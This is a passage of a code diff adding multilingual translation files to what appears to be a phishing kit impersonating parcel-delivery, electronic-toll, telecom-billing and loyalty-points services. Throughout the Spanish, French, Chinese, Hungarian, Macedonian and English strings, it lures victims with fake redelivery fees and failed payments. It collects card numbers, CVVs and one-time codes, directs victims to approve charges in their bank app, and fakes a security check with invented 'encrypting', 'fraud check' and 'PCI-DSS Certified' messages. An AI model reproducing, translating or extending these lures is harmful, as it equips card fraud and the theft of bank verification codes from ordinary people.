|
||||
"Payment": "Payment",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For redelivery, a service fee is required. Your package will be re-delivered after payment",
|
||||
"lump sum: ": "Total amount: ",
|
||||
"Cardholder": "Cardholder",
|
||||
"Card Number": "Card Number",
|
||||
"Expire Date": "Expiration Date",
|
||||
"Security Code": "Security Code",
|
||||
"Submit": "Submit",
|
||||
"Click here to receive another code": "Click here to receive another code",
|
||||
"Please confirm your identity and a one-time code will be sent": "Please confirm your identity. A one-time code will be sent to your phone or email. Enter it here",
|
||||
"The verification code has been sent to": "The verification code has been sent to",
|
||||
"Please do not click the": "Please do not click 'Refresh' or 'Back' as it may interrupt the transaction",
|
||||
"Verification code error, please try again": "Verification code error, please try again",
|
||||
"The session is about to expire, please complete the verification now": "The session is about to expire, please complete the verification now",
|
||||
"This card does not support this transaction, please try another card": "This card does not support this transaction, please try another card",
|
||||
"Authorized bank": "Authorized bank",
|
||||
"Please go to the bank App to confirm the authorization": "Please go to the bank app to confirm authorization",
|
||||
"Please do not close this page": "Please do not close this page",
|
||||
"Payment Successful": "Payment Successful!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Thank you for your purchase. Your payment has been successfully processed",
|
||||
"Mailing address": "Mailing address",
|
||||
"street address or house number": "Street and house number",
|
||||
"Apartment number": "Apartment number",
|
||||
"Safe payment": "Safe payment",
|
||||
"Verification code": "Verification code",
|
||||
"Welcome": "Welcome",
|
||||
"back": "Back!",
|
||||
"We reward you for using point services": "We reward you for using point services",
|
||||
"Check your points": "Check your points",
|
||||
"Phone number": "Phone number",
|
||||
"Inquire": "Inquire",
|
||||
"Exchange": "Exchange",
|
||||
"Spend points": "Spend points",
|
||||
"Points Available": "Points Available",
|
||||
"You don't have enough points": "You don't have enough points",
|
||||
"Please redeem your favorite product": "Please redeem your favorite product with points",
|
||||
"Confirm your shipping address": "Confirm your shipping address",
|
||||
"Order number": "Order number: ",
|
||||
"Pay": "Pay",
|
||||
"Pay Message": "Pay {0} to redeem points for products",
|
||||
"Pay electronic tolls online": "Pay electronic tolls online",
|
||||
"your electronic toll payment was unsuccessful": "Your electronic toll payment was unsuccessful.",
|
||||
"Billing Information": "Billing Information",
|
||||
"Description": "Description",
|
||||
"Dear customer": "Dear Customer:",
|
||||
"Electronic Communications Charge Payment Failed": "Electronic Communications Charge Payment Failed",
|
||||
"Invoice Number": "Invoice Number",
|
||||
"Amount": "Amount",
|
||||
"Pay Immediately": "Pay Immediately",
|
||||
"Phone Number": "Phone Number",
|
||||
"Electronic communication fee payment failed": "Electronic communication fee payment failed",
|
||||
"Illustrate": "Explanation",
|
||||
"SSL Encryption": "SSL Encryption",
|
||||
"PCI-DSS Certified": "PCI-DSS Certified",
|
||||
"Transaction Details": "Transaction Details",
|
||||
"Transaction ID:": "Transaction ID:",
|
||||
"Processing Network:": "Processing Network:",
|
||||
"Processing Time:": "Processing Time:",
|
||||
"Security Level:": "Security Level:",
|
||||
"Preparing...": "Preparing...",
|
||||
"High": "High",
|
||||
"Initializing payment environment...": "Initializing payment environment...",
|
||||
"Encrypting card information...": "Encrypting card information...",
|
||||
"Establishing secure connection...": "Establishing secure connection...",
|
||||
"Verifying card number and issuer...": "Verifying card number and issuer...",
|
||||
"Validating CVV code...": "Validating CVV code...",
|
||||
"Checking fraud risk...": "Checking fraud risk...",
|
||||
"Sending transaction request...": "Sending transaction request...",
|
||||
"Waiting for bank authorization...": "Waiting for bank authorization...",
|
||||
"Processing bank response...": "Processing bank response...",
|
||||
"Confirming transaction status...": "Confirming transaction status...",
|
||||
"Finalizing transaction...": "Finalizing transaction...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedicated Channel",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} seconds",
|
||||
"International Payment Network": "International Payment Network",
|
||||
"redelivery_fee_message": "For redelivery, a service fee of {amount} is required. Your package will be re-delivered after payment",
|
||||
"Verifying...": "Verifying..."
|
||||
};
|
||||
127
t_global_post_temp2/src/locales/es/index.ts
Normal file
@@ -0,0 +1,127 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Hay un error en este campo, por favor verifique",
|
||||
"Please enter a valid email address": "Por favor ingrese una dirección de correo electrónico válida",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar una entrega exitosa",
|
||||
"Your Name": "Su nombre",
|
||||
"Address": "Dirección",
|
||||
"Detailed Address": "Dirección detallada",
|
||||
"(Optional)": "(Opcional)",
|
||||
"City": "Ciudad",
|
||||
"State": "Estado / Región",
|
||||
"Province": "Provincia",
|
||||
"Region": "Región",
|
||||
"Zip Code": "Código postal",
|
||||
"E-Mail": "Correo electrónico",
|
||||
"Next": "Siguiente",
|
||||
"Telephone Number": "Número de teléfono",
|
||||
"Online": "En línea",
|
||||
"Payment": "Pago",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "Para la reentrega, se requiere una tarifa de servicio. Su paquete será reenviado después del pago",
|
||||
"lump sum: ": "Importe total: ",
|
||||
"Cardholder": "Titular de la tarjeta",
|
||||
"Card Number": "Número de tarjeta",
|
||||
"Expire Date": "Fecha de vencimiento",
|
||||
"Security Code": "Código de seguridad",
|
||||
"Submit": "Enviar",
|
||||
"Click here to receive another code": "Haga clic aquí para recibir otro código",
|
||||
"Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad. Se enviará un código de un solo uso a su teléfono o correo electrónico. Ingréselo aquí",
|
||||
"The verification code has been sent to": "El código de verificación ha sido enviado a",
|
||||
"Please do not click the": "Por favor no haga clic en 'Actualizar' o 'Atrás', ya que puede interrumpir la transacción",
|
||||
"Verification code error, please try again": "Error en el código de verificación, por favor inténtelo nuevamente",
|
||||
"The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora",
|
||||
"This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
|
||||
"Authorized bank": "Banco autorizado",
|
||||
"Please go to the bank App to confirm the authorization": "Por favor vaya a la aplicación bancaria para confirmar la autorización",
|
||||
"Please do not close this page": "Por favor no cierre esta página",
|
||||
"Payment Successful": "¡Pago exitoso!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago ha sido procesado correctamente",
|
||||
"Mailing address": "Dirección postal",
|
||||
"street address or house number": "Calle y número",
|
||||
"Apartment number": "Número de apartamento",
|
||||
"Safe payment": "Pago seguro",
|
||||
"Verification code": "Código de verificación",
|
||||
"Welcome": "Bienvenido",
|
||||
"back": "¡De vuelta!",
|
||||
"We reward you for using point services": "Le recompensamos por usar servicios de puntos",
|
||||
"Check your points": "Consultar sus puntos",
|
||||
"Phone number": "Número de teléfono",
|
||||
"Inquire": "Consultar",
|
||||
"Exchange": "Canjear",
|
||||
"Spend points": "Usar puntos",
|
||||
"Points Available": "Puntos disponibles",
|
||||
"You don't have enough points": "No tiene suficientes puntos",
|
||||
"Please redeem your favorite product": "Por favor canjee su producto favorito con puntos",
|
||||
"Confirm your shipping address": "Confirme su dirección de envío",
|
||||
"Order number": "Número de pedido: ",
|
||||
"Pay": "Pagar",
|
||||
"Pay Message": "Pague {0} para canjear puntos por productos",
|
||||
"Pay electronic tolls online": "Pague peajes electrónicos en línea",
|
||||
"your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso",
|
||||
"Billing Information": "Información de facturación",
|
||||
"Description": "Descripción",
|
||||
"Dear customer": "Estimado cliente:",
|
||||
"Electronic Communications Charge Payment Failed": "Pago de cargos de comunicación electrónica fallido",
|
||||
"Invoice Number": "Número de factura",
|
||||
"Amount": "Importe",
|
||||
"Pay Immediately": "Pagar ahora",
|
||||
"Phone Number": "Número de teléfono",
|
||||
"Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló",
|
||||
"Illustrate": "Explicación",
|
||||
"SSL Encryption": "Cifrado SSL",
|
||||
"PCI-DSS Certified": "Certificado PCI-DSS",
|
||||
"Transaction Details": "Detalles de la transacción",
|
||||
"Transaction ID:": "ID de transacción:",
|
||||
"Processing Network:": "Red de procesamiento:",
|
||||
"Processing Time:": "Tiempo de procesamiento:",
|
||||
"Security Level:": "Nivel de seguridad:",
|
||||
"Preparing...": "Preparando...",
|
||||
"High": "Alto",
|
||||
"Initializing payment environment...": "Inicializando el entorno de pago...",
|
||||
"Encrypting card information...": "Cifrando la información de la tarjeta...",
|
||||
"Establishing secure connection...": "Estableciendo conexión segura...",
|
||||
"Verifying card number and issuer...": "Verificando el número de tarjeta y el emisor...",
|
||||
"Validating CVV code...": "Validando el código CVV...",
|
||||
"Checking fraud risk...": "Verificando riesgo de fraude...",
|
||||
"Sending transaction request...": "Enviando solicitud de transacción...",
|
||||
"Waiting for bank authorization...": "Esperando autorización bancaria...",
|
||||
"Processing bank response...": "Procesando respuesta del banco...",
|
||||
"Confirming transaction status...": "Confirmando el estado de la transacción...",
|
||||
"Finalizing transaction...": "Finalizando la transacción...",
|
||||
"Visa Secure Network": "Red segura de Visa",
|
||||
"Mastercard Global Payment Network": "Red global de pagos Mastercard",
|
||||
"American Express Dedicated Channel": "Canal dedicado de American Express",
|
||||
"UnionPay Gateway": "Pasarela UnionPay",
|
||||
"{time} seconds": "{time} segundos",
|
||||
"International Payment Network": "Red internacional de pagos",
|
||||
"redelivery_fee_message": "Para la reentrega, se requiere una tarifa de servicio de {amount}. Su paquete será reenviado después del pago",
|
||||
"Verifying...": "Verificando...",
|
||||
// payment_loading
|
||||
payment_loading: {
|
||||
modal_title: "Procesando pago",
|
||||
modal_subtitle: "Por favor, no cierres esta página",
|
||||
transaction_details: "Detalles de la transacción",
|
||||
transaction_id: "ID de transacción:",
|
||||
processing_network: "Red de procesamiento:",
|
||||
processing_time: "Tiempo de procesamiento:",
|
||||
security_level: "Nivel de seguridad:",
|
||||
preparing: "Preparando...",
|
||||
high: "Alto",
|
||||
step_init: "Inicializando entorno de pago...",
|
||||
step_encrypt: "Cifrando información de la tarjeta...",
|
||||
step_connect: "Estableciendo conexión segura...",
|
||||
step_verify_card: "Verificando número de tarjeta y emisor...",
|
||||
step_validate_cvv: "Validando código CVV...",
|
||||
step_fraud: "Comprobando riesgo de fraude...",
|
||||
step_send: "Enviando solicitud de transacción...",
|
||||
step_wait_auth: "Esperando autorización bancaria...",
|
||||
step_process_resp: "Procesando respuesta del banco...",
|
||||
step_confirm: "Confirmando estado de la transacción...",
|
||||
step_finalize: "Finalizando transacción...",
|
||||
network_visa: "Red Segura de Visa",
|
||||
network_mastercard: "Red Global de Pagos Mastercard",
|
||||
network_amex: "Canal Dedicado de American Express",
|
||||
network_unionpay: "Canal de Pago UnionPay",
|
||||
network_intl: "Red Internacional de Pagos",
|
||||
time_seconds: "{time} segundos",
|
||||
},
|
||||
};
|
||||
84
t_global_post_temp2/src/locales/fr/index.ts
Normal file
@@ -0,0 +1,84 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Il y a une erreur dans ce champ, veuillez vérifier",
|
||||
"Please enter a valid email address": "Veuillez saisir une adresse e-mail valide",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Chers utilisateurs, veuillez remplir le formulaire avec soin afin d'assurer la bonne livraison",
|
||||
"Your Name": "Votre nom",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Adresse détaillée",
|
||||
"(Optional)": "(Optionnel)",
|
||||
"City": "Ville",
|
||||
"State": "État",
|
||||
"Province": "Province",
|
||||
"Region": "Région",
|
||||
"Zip Code": "Code postal",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Suivant",
|
||||
"Telephone Number": "Numéro de téléphone",
|
||||
"Online": "En ligne",
|
||||
"Payment": "Paiement",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Pour une nouvelle livraison, des frais de service s'appliquent. Votre colis sera réexpédié après paiement",
|
||||
"lump sum: ": "montant forfaitaire : ",
|
||||
"Cardholder": "Titulaire de la carte",
|
||||
"Card Number": "Numéro de carte",
|
||||
"Expire Date": "Date d’expiration",
|
||||
"Security Code": "Code de sécurité",
|
||||
"Submit": "Soumettre",
|
||||
"Click here to receive another code": "Cliquez ici pour recevoir un autre code",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Veuillez confirmer votre identité. Un code unique sera envoyé à votre numéro de téléphone ou à votre adresse e-mail. Veuillez entrer le code de vérification ici",
|
||||
"The verification code has been sent to": "Le code de vérification a été envoyé à",
|
||||
"Please do not click the":
|
||||
"Veuillez ne pas cliquer sur les boutons 'Actualiser' ou 'Retour' car cela pourrait interrompre votre transaction",
|
||||
"Verification code error, please try again": "Erreur de code de vérification, veuillez réessayer",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"La session est sur le point d’expirer, veuillez terminer la vérification maintenant",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Cette carte ne prend pas en charge cette transaction, veuillez essayer une autre carte",
|
||||
"Authorized bank": "Banque autorisée",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Veuillez accéder à l’application bancaire pour confirmer l’autorisation",
|
||||
"Please do not close this page": "Veuillez ne pas fermer cette page",
|
||||
"Payment Successful": "Paiement réussi !",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Merci pour votre achat. Votre paiement a été traité avec succès",
|
||||
"Mailing address": "Adresse postale",
|
||||
"street address or house number": "rue ou numéro de maison",
|
||||
"Apartment number": "Numéro d'appartement, numéro de chambre, etc.",
|
||||
"Safe payment": "Paiement sécurisé",
|
||||
"Verification code": "Code de vérification",
|
||||
"Welcome": "Bienvenue",
|
||||
"back": "retour !",
|
||||
"We reward you for using point services": "Nous vous récompensons pour l’utilisation de nos services à points",
|
||||
"Check your points": "Vérifiez vos points",
|
||||
"Phone number": "Numéro de téléphone",
|
||||
"Inquire": "Consulter",
|
||||
"Exchange": "Échanger",
|
||||
"Spend points": "Utiliser les points",
|
||||
"Points Available": "Points disponibles",
|
||||
"You don't have enough points": "Vous n’avez pas assez de points",
|
||||
"Please redeem your favorite product": "Veuillez échanger contre votre produit préféré",
|
||||
"Confirm your shipping address": "Confirmez votre adresse de livraison",
|
||||
"Order number": "Numéro de commande : ",
|
||||
"Pay": "Payer",
|
||||
"Pay Message": "Payez {0} pour échanger des points contre un produit",
|
||||
"Pay electronic tolls online": "Payer les péages électroniques en ligne",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"votre paiement de péage électronique a échoué.",
|
||||
"Billing Information": "Informations de facturation",
|
||||
"Description": "Description",
|
||||
"Dear customer": "Cher client :",
|
||||
"Electronic Communications Charge Payment Failed":
|
||||
"Échec du paiement des frais de communication électronique",
|
||||
"Invoice Number": "Numéro de facture",
|
||||
"Amount": "Montant",
|
||||
"Pay Immediately": "Payer immédiatement",
|
||||
"Phone Number": "Numéro de téléphone",
|
||||
"Electronic communication fee payment failed":
|
||||
"Échec du paiement des frais de communication électronique",
|
||||
"Illustrate": "Illustrer",
|
||||
"Processing payment": "Traitement du paiement",
|
||||
"Please do not refresh or close the page":
|
||||
"Veuillez ne pas actualiser ou fermer la page",
|
||||
};
|
||||
73
t_global_post_temp2/src/locales/hk/index.ts
Normal file
@@ -0,0 +1,73 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "此欄位有錯誤,請檢查",
|
||||
"Please enter a valid email address": "請輸入有效的電郵地址",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "親愛的用戶,請小心填寫表格以確保成功送達",
|
||||
"Your Name": "你的姓名",
|
||||
"Address": "地址",
|
||||
"Detailed Address": "詳細地址",
|
||||
"(Optional)": "(可選)",
|
||||
"City": "城市",
|
||||
"State": "州份",
|
||||
"Province": "省份",
|
||||
"Region": "地區",
|
||||
"Zip Code": "郵政編碼",
|
||||
"E-Mail": "電郵",
|
||||
"Next": "下一步",
|
||||
"Telephone Number": "電話號碼",
|
||||
"Online": "網上",
|
||||
"Payment": "付款",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "如需重新派送,我們需要收取一定的服務費。付款後將重新派送你的包裹",
|
||||
"lump sum: ": "總金額:",
|
||||
"Cardholder": "持卡人",
|
||||
"Card Number": "信用卡號碼",
|
||||
"Expire Date": "到期日",
|
||||
"Security Code": "安全碼",
|
||||
"Submit": "提交",
|
||||
"Click here to receive another code": "點擊此處接收新驗證碼",
|
||||
"Please confirm your identity and a one-time code will be sent": "請確認你的身份,我們將發送一次性驗證碼至你的手機或電郵,請在此輸入驗證碼",
|
||||
"The verification code has been sent to": "驗證碼已發送至",
|
||||
"Please do not click the": "請勿點擊「重新整理」或「返回」按鈕,否則可能導致交易失敗或中斷",
|
||||
"Verification code error, please try again": "驗證碼錯誤,請再試一次",
|
||||
"The session is about to expire, please complete the verification now": "驗證即將過期,請立即完成驗證",
|
||||
"This card does not support this transaction, please try another card": "此卡不支援此交易,請嘗試其他信用卡",
|
||||
"Authorized bank": "授權銀行",
|
||||
"Please go to the bank App to confirm the authorization": "請前往銀行應用程式確認授權",
|
||||
"Please do not close this page": "請勿關閉此頁面",
|
||||
"Payment Successful": "付款成功!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "感謝你的購買,付款已成功處理",
|
||||
"Mailing address": "郵寄地址",
|
||||
"street address or house number": "街道地址或樓宇號碼",
|
||||
"Apartment number": "單位號碼、房號等",
|
||||
"Safe payment": "安全付款",
|
||||
"Verification code": "驗證碼",
|
||||
"Welcome": "歡迎",
|
||||
"back":"返回!",
|
||||
"We reward you for using point services": "感謝你使用積分服務,我們提供獎賞",
|
||||
"Check your points": "查看你的積分",
|
||||
"Phone number": "電話號碼",
|
||||
"Inquire": "查詢",
|
||||
"Exchange": "兌換",
|
||||
"Spend points": "使用積分",
|
||||
"Points Available": "可用積分",
|
||||
"You don't have enough points": "你的積分不足",
|
||||
"Please redeem your favorite product": "請兌換你喜愛的商品",
|
||||
"Confirm your shipping address": "確認你的送貨地址",
|
||||
"Order number": "訂單編號:",
|
||||
"Pay": "付款",
|
||||
"Pay Message": "支付 {0} 即可用積分兌換商品",
|
||||
"Pay electronic tolls online": "網上支付電子通行費",
|
||||
"your electronic toll payment was unsuccessful": "你的電子通行費付款失敗。",
|
||||
"Billing Information": "帳單資料",
|
||||
"Description": "描述",
|
||||
"Dear customer": "親愛的顧客:",
|
||||
"Electronic Communications Charge Payment Failed": "電子通訊費付款失敗",
|
||||
"Invoice Number": "發票號碼",
|
||||
"Amount": "金額",
|
||||
"Pay Immediately": "立即付款",
|
||||
"Phone Number": "電話號碼",
|
||||
"Electronic communication fee payment failed": "電子通訊費付款失敗",
|
||||
"Illustrate":"說明",
|
||||
"Processing Payment":"正在處理付款,請稍候",
|
||||
"Waiting":"請稍候",
|
||||
};
|
||||
|
||||
81
t_global_post_temp2/src/locales/hu/index.ts
Normal file
@@ -0,0 +1,81 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
|
||||
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
|
||||
"Your Name": "Az Ön neve",
|
||||
"Address": "Cím",
|
||||
"Detailed Address": "Részletes cím",
|
||||
"(Optional)": "(Opcionális)",
|
||||
"City": "Város",
|
||||
"State": "Állam",
|
||||
"Province": "Megye",
|
||||
"Region": "Régió",
|
||||
"Zip Code": "Irányítószám",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Tovább",
|
||||
"Telephone Number": "Telefonszám",
|
||||
"Online": "Online",
|
||||
"Payment": "Fizetés",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
|
||||
"lump sum: ": "átalányösszeg: ",
|
||||
"Cardholder": "Kártyatulajdonos",
|
||||
"Card Number": "Kártyaszám",
|
||||
"Expire Date": "Lejárati dátum",
|
||||
"Security Code": "Biztonsági kód",
|
||||
"Submit": "Küldés",
|
||||
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
|
||||
"The verification code has been sent to":
|
||||
"Az ellenőrző kódot elküldtük a következő címre:",
|
||||
"Please do not click the":
|
||||
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
|
||||
"Verification code error, please try again":
|
||||
"Ellenőrző kód hiba, kérjük, próbálja újra",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
|
||||
"Authorized bank": "Engedélyezett bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
|
||||
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
|
||||
"Payment Successful": "Sikeres fizetés!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
|
||||
"Mailing address": "Levelezési cím",
|
||||
"street address or house number": "utca vagy házszám",
|
||||
"Apartment number": "Lakásszám, szobaszám stb.",
|
||||
"Safe payment": "Biztonságos fizetés",
|
||||
"Verification code": "Ellenőrző kód",
|
||||
"Welcome": "Üdvözöljük",
|
||||
"back":"vissza!",
|
||||
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
|
||||
"Check your points": "Ellenőrizze a pontjait",
|
||||
"Phone number": "Telefonszám",
|
||||
"Inquire": "Érdeklődés",
|
||||
"Exchange": "Csere",
|
||||
"Spend points": "Pontok felhasználása",
|
||||
"Points Available": "Elérhető pontok",
|
||||
"You don't have enough points": "Nincs elég pontja",
|
||||
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
|
||||
"Confirm your shipping address": "Erősítse meg szállítási címét",
|
||||
"Order number": "Rendelésszám: ",
|
||||
"Pay": "Fizetés",
|
||||
"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
|
||||
"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
|
||||
"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
|
||||
"Billing Information": "Számlázási adatok",
|
||||
"Description": "Leírás",
|
||||
"Dear customer": "Kedves vásárlónk:",
|
||||
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
|
||||
"Invoice Number": "Számlaszám",
|
||||
"Amount": "Összeg",
|
||||
"Pay Immediately": "Fizessen azonnal",
|
||||
"Phone Number": "Telefonszám",
|
||||
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
|
||||
"Illustrate":"Szemléltet"
|
||||
};
|
||||
109
t_global_post_temp2/src/locales/mk/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Има грешка во ова поле, ве молиме проверете",
|
||||
"Please enter a valid email address": "Ве молиме внесете валидна е-адреса",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Почитувани корисници, ве молиме внимателно пополнете го формуларот за да се осигура успешна достава",
|
||||
"Your Name": "Вашето име",
|
||||
"Address": "Адреса",
|
||||
"Detailed Address": "Детална адреса",
|
||||
"(Optional)": "(Опционално)",
|
||||
"City": "Град",
|
||||
"State": "Држава/Област",
|
||||
"Province": "Покраина",
|
||||
"Region": "Регион",
|
||||
"Zip Code": "Поштенски број",
|
||||
"E-Mail": "Е-пошта",
|
||||
"Next": "Понатаму",
|
||||
"Telephone Number": "Телефонски број",
|
||||
"Online": "Онлајн",
|
||||
"Payment": "Плаќање",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"За повторна достава, потребно е да наплатиме одредени трошоци за услугата. Вашата пратка ќе биде повторно доставена по плаќањето",
|
||||
"lump sum: ": "Вкупен износ: ",
|
||||
"Cardholder": "Име на картичката",
|
||||
"Card Number": "Број на картичка",
|
||||
"Expire Date": "Датум на истекување",
|
||||
"Security Code": "Сигурносен код",
|
||||
"Submit": "Потврди",
|
||||
"Click here to receive another code": "Кликнете овде за да добиете нов код",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Ве молиме потврдете го вашиот идентитет. Еднократен код ќе биде испратен на вашиот мобилен број или е-пошта. Ве молиме внесете го кодот за потврда овде",
|
||||
"The verification code has been sent to":
|
||||
"Кодот за потврда е испратен на",
|
||||
"Please do not click the":
|
||||
"Ве молиме не кликнувајте на копчињата „Освежи“ или „Назад“, бидејќи тоа може да ја прекине вашата трансакција",
|
||||
"Verification code error, please try again":
|
||||
"Грешка во кодот за потврда, ве молиме обидете се повторно",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Сесијата наскоро ќе истече, ве молиме завршете ја потврдата сега",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Оваа картичка не ја поддржува оваа трансакција, ве молиме обидете се со друга картичка",
|
||||
"Authorized bank": "Овластена банка",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Ве молиме отворете ја апликацијата на вашата банка за да ја потврдите авторизацијата",
|
||||
"Please do not close this page": "Ве молиме не ја затворајте оваа страница",
|
||||
"Payment Successful": "Плаќањето е успешно!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Ви благодариме за плаќањето. Вашата трансакција е успешно обработена",
|
||||
"Mailing address": "Адреса за испорака",
|
||||
"street address or house number": "Име на улица или куќен број",
|
||||
"Apartment number": "Број на стан, соба итн.",
|
||||
"Safe payment": "Безбедно плаќање",
|
||||
"Verification code": "Код за потврда",
|
||||
"Welcome": "Добредојдовте",
|
||||
"back": "назад!",
|
||||
"We reward you for using point services": "Ве наградуваме за користење на нашите услуги со поени",
|
||||
"Check your points": "Проверете ги вашите поени",
|
||||
"Phone number": "Телефонски број",
|
||||
"Inquire": "Провери",
|
||||
"Exchange": "Замени",
|
||||
"Spend points": "Потроши поени",
|
||||
"Points Available": "Достапни поени",
|
||||
"You don't have enough points": "Немате доволно поени",
|
||||
"Please redeem your favorite product": "Ве молиме заменете ги поените за вашиот омилен производ",
|
||||
"Confirm your shipping address": "Потврдете ја вашата адреса за испорака",
|
||||
"Order number": "Број на нарачка: ",
|
||||
"Pay": "Плати",
|
||||
"Pay Message": "Платете {0} за да ги замените поените за производи",
|
||||
"Pay electronic tolls online": "Платете електронска патарина онлајн",
|
||||
"your electronic toll payment was unsuccessful": "Вашето плаќање на електронската патарина беше неуспешно.",
|
||||
"Billing Information": "Информации за наплата",
|
||||
"Description": "Опис",
|
||||
"Dear customer": "Почитуван кориснику:",
|
||||
"Electronic Communications Charge Payment Failed": "Неуспешно плаќање на надоместокот за електронски комуникации",
|
||||
"Invoice Number": "Број на фактура",
|
||||
"Amount": "Износ",
|
||||
"Pay Immediately": "Плати веднаш",
|
||||
"Phone Number": "Телефонски број",
|
||||
"Electronic communication fee payment failed": "Плаќањето на надоместокот за електронски комуникации не успеа",
|
||||
"Illustrate": "Илустрација/Објаснување",
|
||||
"SSL Encryption": "SSL енкрипција",
|
||||
"PCI-DSS Certified": "PCI-DSS сертифицирано",
|
||||
"Transaction Details": "Детали за трансакцијата",
|
||||
"Transaction ID:": "ID на трансакција:",
|
||||
"Processing Network:": "Мрежа за обработка:",
|
||||
"Processing Time:": "Време на обработка:",
|
||||
"Security Level:": "Ниво на безбедност:",
|
||||
"Preparing...": "Се подготвува...",
|
||||
"High": "Високо",
|
||||
"Initializing payment environment...": "Иницијализирање на околината за плаќање...",
|
||||
"Encrypting card information...": "Енкриптирање на податоците од картичката...",
|
||||
"Establishing secure connection...": "Воспоставување безбедна врска...",
|
||||
"Verifying card number and issuer...": "Проверка на бројот на картичката и издавачот...",
|
||||
"Validating CVV code...": "Проверка на CVV кодот...",
|
||||
"Checking fraud risk...": "Проверка на ризик од измама...",
|
||||
"Sending transaction request...": "Испраќање барање за трансакција...",
|
||||
"Waiting for bank authorization...": "Се чека авторизација од банката...",
|
||||
"Processing bank response...": "Се обработува одговорот од банката...",
|
||||
"Confirming transaction status...": "Се потврдува статусот на трансакцијата...",
|
||||
"Finalizing transaction...": "Финализирање на трансакцијата...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedicated Channel",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} секунди",
|
||||
"International Payment Network": "Меѓународна мрежа за плаќање",
|
||||
"redelivery_fee_message": "За повторна достава потребно е да платите {amount} за трошоци за услугата. Вашата пратка ќе биде повторно доставена по плаќањето",
|
||||
"Verifying...": "Се врши проверка...",
|
||||
};
|
||||
97
t_global_post_temp2/src/locales/nl/index.ts
Normal file
@@ -0,0 +1,97 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Er is een fout in dit veld, controleer het alstublieft",
|
||||
